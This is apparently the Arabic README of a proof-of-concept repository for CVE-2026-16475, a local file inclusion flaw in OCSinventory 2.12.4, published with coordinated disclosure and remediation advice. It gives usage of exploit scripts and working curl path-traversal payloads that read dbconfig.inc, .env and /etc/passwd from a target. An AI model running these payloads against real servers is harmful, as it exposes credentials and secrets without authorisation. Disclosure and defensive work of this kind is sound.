CVE-2026-16475 - OCSinventory LFI PoC

ثغرة تضمين الملفات المحلي (Local File Inclusion) في OCSinventory 2.12.4

تفاصيل الثغرة

معرف CVE: CVE-2026-16475
درجة CVSS: 6.9 (متوسطة)
CWE: CWE-98 (التحكم غير السليم في اسم الملف لعبارة Include/Require في برنامج PHP)
الإصدار المتأثر: OCSinventory 2.12.4
الحالة: تم إصلاحها في الإصدارات الأخيرة

الوصف

توجد ثغرة تضمين الملفات المحلي (LFI) في نقطة النهاية /ajax/teledeployoptions.php بسبب التعقيم غير السليم للمعامل linkedoptions قبل استخدامه في عملية تضمين ديناميكي لملف XML.

صُممت نقطة النهاية لتحميل ملفات إعدادات XML لكنها تفشل في التحقق بشكل صحيح من المعامل linkedoptions، مما يسمح بهجمات اجتياز المسار (path traversal).

يمكن لمهاجم عن بُعد غير مُصادَق استغلال هذه الثغرة من أجل:

• تضمين والوصول إلى ملفات XML عشوائية داخل دليل التطبيق
• قراءة الملفات غير ذات صيغة XML عبر رسائل خطأ محلل XML
• الكشف عن معلومات حساسة تتعلق بالموارد الداخلية للتطبيق
• تعداد ملفات النظام وتنفيذ بصمة لنظام التشغيل (OS fingerprinting)

التأثير

• السرية: عالية - الوصول إلى ملفات عشوائية (ملفات الإعدادات، الكود المصدري، السجلات، ملفات النظام)
• السلامة: لا شيء
• التوفر: لا شيء
• يتطلب مصادقة: لا
• تفاعل المستخدم: لا

الاستخدام

المتطلبات الأساسية

pip install -r requirements.txt

إصدار بايثون (موصى به)

python3 exploit.py -u http://target.com -v

الخيارات:

• -u, --url - رابط الهدف (مطلوب)
• -v, --verbose - إخراج تفصيلي
• -o, --output - حفظ القراءات الناجحة في ملف

مثال:

python3 exploit.py -u http://ocs.example.com -v -o results.txt

إصدار Bash

./lfi_test.sh

عدّل متغير BASE_URL في السكربت:

BASE_URL="http://target.com/ajax/teledeployoptions.php"

الأهداف المستهدفة

• ملفات إعدادات التطبيق (dbconfig.inc, .env, config.inc)
• ملفات عمل XML (bashscriptopt, executableopt, msiapplicationopt)
• سجلات النظام (apache2, mysql, auth)
• ملفات النظام (/proc/, /etc/)
• أسرار التطبيق (composer, package files, .htaccess)

مثال على الاستغلال

# Read database config
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../dbconfig.inc"

# Read passwd file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../../../../../../etc/passwd"

# Read environment file
curl "http://target/ajax/teledeployoptions.php?os=test&linkedoptions=../../../.env"

المعالجة

للمستخدمين:

• حدّث OCSinventory إلى أحدث إصدار فورًا
• طبّق قواعد WAF لمنع أنماط اجتياز المسار

للمطورين:

• استخدم basename() أو دوال مماثلة لمنع اجتياز المسار
• تحقق من جميع مدخلات المستخدم وعقّمها قبل عمليات الملفات
• طبّق ضوابط وصول مناسبة
• استخدم قوائم السماح للمسارات الصالحة للملفات

المراجع

• استشارة INCIBE (بالإسبانية) - سلطة التنسيق الرسمية لـ CVE
• OCS Inventory GitHub
• OWASP Path Traversal
• تعريف CWE-98

ملاحظة: تم تنسيق CVE-2026-16475 عبر INCIBE وقد لا يكون مفهرسًا بعد في NVD. راجع مصدر INCIBE للحصول على معلومات موثوقة.

إخلاء مسؤولية قانوني

لأغراض تعليمية واختبارات مُصرَّح بها فقط

راجع DISCLAIMER.md للإشعار القانوني الكامل.

المؤلف

Adrián Ferrer Tarí

إفصاح مسؤول منسق عبر INCIBE